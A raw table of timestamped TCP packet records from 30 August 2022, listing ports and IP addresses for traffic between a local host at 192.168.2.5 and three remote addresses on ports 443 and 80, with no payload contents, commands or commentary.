Aug 30, 2022 15:55:00.518583059 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.518815041 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.518840075 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.518878937 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.518975973 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.518996000 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.519995928 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.520015955 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.520071030 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.520106077 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.520132065 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.520150900 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.532434940 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.532495022 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.532541037 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.532546043 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.532563925 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.532565117 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.532617092 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.532617092 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.532628059 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.532892942 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.532948017 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.532964945 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.532964945 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.533001900 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.533016920 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.533032894 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.533169031 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.533216953 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.533236980 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.533257961 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.533298969 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.533346891 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.533396006 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.533413887 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.533427000 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.533469915 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.533508062 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.533565044 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.533579111 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.533601046 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.533638954 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.533652067 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.533669949 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.534766912 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.534845114 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.534846067 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.534867048 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.534930944 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.535383940 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.535470009 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.537776947 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.537921906 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.539429903 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.539529085 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.633112907 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.635354042 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.635381937 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.635443926 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:00.635878086 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.635971069 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:00.636769056 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:04.875212908 CEST	49735	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:55:05.174988031 CEST	80	49735	222.232.238.243	192.168.2.5
Aug 30, 2022 15:55:05.175132036 CEST	49735	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:55:05.205456972 CEST	49735	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:55:05.205496073 CEST	49735	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:55:05.505779982 CEST	80	49735	222.232.238.243	192.168.2.5
Aug 30, 2022 15:55:06.267836094 CEST	80	49735	222.232.238.243	192.168.2.5
Aug 30, 2022 15:55:06.267888069 CEST	80	49735	222.232.238.243	192.168.2.5
Aug 30, 2022 15:55:06.268007994 CEST	49735	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:55:06.291202068 CEST	49735	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:55:06.590816021 CEST	80	49735	222.232.238.243	192.168.2.5
Aug 30, 2022 15:55:06.591562986 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:06.769779921 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:06.769912004 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:06.770015955 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:06.770035982 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:06.842149973 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.842192888 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.842273951 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.843842030 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.843858004 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.887077093 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.887197971 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.892311096 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.892330885 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.892843962 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.895049095 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.929275036 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.929406881 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.929493904 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.929574966 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.929610968 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.929646015 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.929728985 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.929795027 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.929799080 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.929887056 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.929938078 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.929959059 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.930115938 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.930174112 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.930202007 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.930291891 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.930311918 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.930387974 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.930396080 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.930417061 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.930490017 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.930506945 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.930638075 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.930711985 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.930777073 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.930778027 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.930797100 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.930852890 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.930913925 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.930991888 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.931057930 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.931086063 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.931111097 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.931212902 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.931271076 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.931287050 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.931344986 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.931416988 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.931433916 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.931498051 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.931565046 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.931632996 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.931659937 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.931684017 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.931747913 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.931762934 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.931814909 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.931829929 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.931880951 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.931946039 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.932018995 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.932018995 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.932039022 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.932121038 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.932168961 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.932243109 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.932279110 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.932298899 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.932374001 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.932432890 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.932451010 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.932472944 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.932529926 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.932548046 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.932616949 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.943944931 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:06.948510885 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.948631048 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.948632002 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.948657990 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.948702097 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.948735952 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.948786020 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.948806047 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.948853016 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:06.948903084 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.973455906 CEST	49738	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:55:06.973486900 CEST	443	49738	104.21.40.196	192.168.2.5
Aug 30, 2022 15:55:07.321168900 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.321223974 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.321259022 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.321299076 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.321310043 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.321345091 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.495577097 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.495630980 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.495671988 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.495714903 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.495753050 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.495757103 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.495795012 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.495836020 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.495835066 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.495872021 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.579601049 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.667550087 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.667599916 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.667627096 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.667656898 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.667684078 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.667687893 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.667710066 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.667718887 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.667748928 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.667784929 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.667814970 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.667824030 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.667845011 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.667850018 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.667874098 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.667938948 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.674276114 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.674381018 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.753120899 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.753165007 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.753231049 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.842843056 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.842911005 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.842953920 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.842995882 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.842997074 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.843041897 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.843055964 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.843084097 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.843126059 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.843164921 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.843192101 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.843204975 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.843228102 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.843245983 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.843286037 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.843344927 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.849416018 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.849481106 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.849523067 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.849544048 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.849564075 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.849586964 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.849606037 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.849643946 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.849684954 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.849708080 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.849728107 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.849740982 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.849771023 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.849812984 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.849850893 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.849879026 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.849898100 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.855205059 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.855264902 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.855345011 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.895507097 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.925268888 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.925355911 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.925369024 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.925399065 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.925442934 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:07.925473928 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:07.970241070 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.015196085 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.015266895 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.015307903 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.015389919 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.015410900 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.015433073 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.015444994 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.015475988 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.015515089 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.015553951 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.015561104 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.015595913 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.015609026 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.015636921 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.015677929 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.015734911 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.021286011 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.021353960 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.021394968 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.021434069 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.021469116 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.021473885 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.021486998 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.021516085 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.021533966 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.021558046 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.021599054 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.021640062 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.021682024 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.021687984 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.021701097 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.021722078 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.024436951 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.026499033 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.026565075 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.026606083 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.026648045 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.026659012 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.026689053 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.026729107 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.026742935 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.026770115 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.026806116 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.026810884 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.026854038 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.026890993 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.026895046 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.026937008 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.026999950 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.031133890 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.031177998 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.031205893 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.031217098 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.031259060 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.031286001 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.031299114 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.031363010 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.031375885 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.031418085 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.031456947 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.031482935 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.031497002 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.031543016 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.031543970 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.031584024 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.031754971 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.097840071 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.097872972 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.097893000 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.097949028 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.138621092 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.138735056 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.144587994 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.187494040 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.187572002 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.187617064 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.187653065 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.187657118 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.187695980 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.187699080 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.187740088 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.187781096 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.187792063 CEST	49737	80	192.168.2.5	189.143.170.233
